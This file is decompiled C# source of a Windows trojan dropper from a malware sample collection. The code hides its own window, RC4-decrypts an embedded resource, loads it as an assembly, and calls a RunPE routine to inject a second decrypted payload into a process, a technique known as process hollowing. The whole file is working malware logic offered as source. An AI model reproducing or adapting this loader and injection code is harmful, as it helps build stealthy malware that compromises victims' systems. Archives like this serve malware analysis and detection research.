MalwareSourceCode/MSIL/Trojan-Dropper/Win32/I/Trojan-Dropper.Win32.Injector.dmsv-fde9e07062bacdce7fa9d31f039f393916e1be165ce49510d41be6dfd2b59512/a.cs

// Decompiled with JetBrains decompiler
// Type: WindowsApplication1.a
// Assembly: Java Windows Environment, Version=1.0.0.0, Culture=neutral, PublicKeyToken=null
// MVID: 097830FC-95C1-47F2-9E79-8207C0E28B1C
// Assembly location: C:\Users\Administrateur\Downloads\Virusshare.00004-msil\Trojan-Dropper.Win32.Injector.dmsv-fde9e07062bacdce7fa9d31f039f393916e1be165ce49510d41be6dfd2b59512.exe

using Microsoft.VisualBasic.CompilerServices;
using System;
using System.Collections.Generic;
using System.ComponentModel;
using System.Diagnostics;
using System.Drawing;
using System.Reflection;
using System.Runtime.CompilerServices;
using System.Windows.Forms;

namespace WindowsApplication1
{
  [DesignerGenerated]
  public class a : Form
  {
    private static List<WeakReference> __ENCList = new List<WeakReference>();
    private IContainer components;

    [DebuggerNonUserCode]
    static a()
    {
    }

    [DebuggerNonUserCode]
    public a()
    {
      this.Load += new EventHandler(this.Form1_Load);
      lock (a.__ENCList)
        a.__ENCList.Add(new WeakReference((object) this));
      this.InitializeComponent();
    }

    [DebuggerNonUserCode]
    protected override void Dispose(bool disposing)
    {
      try
      {
        if (!disposing || this.components == null)
          return;
        this.components.Dispose();
      }
      finally
      {
        base.Dispose(disposing);
      }
    }

    [DebuggerStepThrough]
    private void InitializeComponent()
    {
      this.SuspendLayout();
      this.AutoScaleDimensions = new SizeF(6f, 13f);
      this.AutoScaleMode = AutoScaleMode.Font;
      this.ClientSize = new Size(10, 10);
      this.FormBorderStyle = FormBorderStyle.None;
      this.Name = nameof (a);
      this.Opacity = 0.0;
      this.ShowIcon = false;
      this.ShowInTaskbar = false;
      this.Text = "Form1";
      this.WindowState = FormWindowState.Minimized;
      this.ResumeLayout(false);
    }

    private void Form1_Load(object sender, EventArgs e)
    {
      byte[] vietatoManipolare = WindowsApplication1.My.Resources.Resources.vietatoManipolare;
      MethodInfo method = Assembly.Load((byte[]) this.dec(ref vietatoManipolare)).GetType("Private_runpe.RunPE").GetMethod("njc");
      object[] objArray1 = new object[8];
      object[] objArray2 = objArray1;
      byte[] cambiami = WindowsApplication1.My.Resources.Resources.cambiami;
      object objectValue = RuntimeHelpers.GetObjectValue(this.dec(ref cambiami));
      objArray2[0] = objectValue;
      objArray1[1] = (object) true;
      objArray1[2] = (object) false;
      objArray1[3] = (object) true;
      objArray1[4] = (object) Application.ExecutablePath;
      objArray1[5] = (object) true;
      objArray1[6] = (object) false;
      objArray1[7] = (object) "";
      object[] parameters = objArray1;
      RuntimeHelpers.GetObjectValue(RuntimeHelpers.GetObjectValue(method.Invoke((object) null, parameters)));
      ProjectData.EndApp();
    }

    public object dec(ref byte[] ÁÄÁ)
    {
      byte[] numArray1 = new byte[8]
      {
        (byte) 1,
        (byte) 2,
        (byte) 3,
        (byte) 4,
        (byte) 5,
        (byte) 6,
        (byte) 7,
        (byte) 8
      };
      byte[] numArray2 = new byte[256];
      byte[] numArray3 = new byte[256];
      int length1 = ÁÄÁ.GetLength(0);
      int length2 = numArray1.GetLength(0);
      int index1 = 0;
      do
      {
        numArray2[index1] = checked ((byte) index1);
        numArray3[index1] = numArray1[index1 % length2];
        checked { ++index1; }
      }
      while (index1 <= (int) byte.MaxValue);
      int index2 = 0;
      int index3 = 0;
      do
      {
        index2 = checked (index2 + (int) numArray2[index3] + (int) numArray3[index3]) % 256;
        byte num = numArray2[index3];
        numArray2[index3] = numArray2[index2];
        numArray2[index2] = num;
        checked { ++index3; }
      }
      while (index3 <= (int) byte.MaxValue);
      int index4 = 0;
      int index5 = index4;
      int num1 = checked (length1 - 1);
      int index6 = 0;
      while (index6 <= num1)
      {
        index5 = checked (index5 + 1) % 256;
        index4 = checked (index4 + (int) numArray2[index5]) % 256;
        byte num2 = numArray2[index5];
        numArray2[index5] = numArray2[index4];
        numArray2[index4] = num2;
        int index7 = checked ((int) numArray2[index5] + (int) numArray2[index4]) % 256;
        ÁÄÁ[index6] = (byte) ((int) ÁÄÁ[index6] ^ (int) numArray2[index7]);
        checked { ++index6; }
      }
      return (object) ÁÄÁ;
    }
  }
}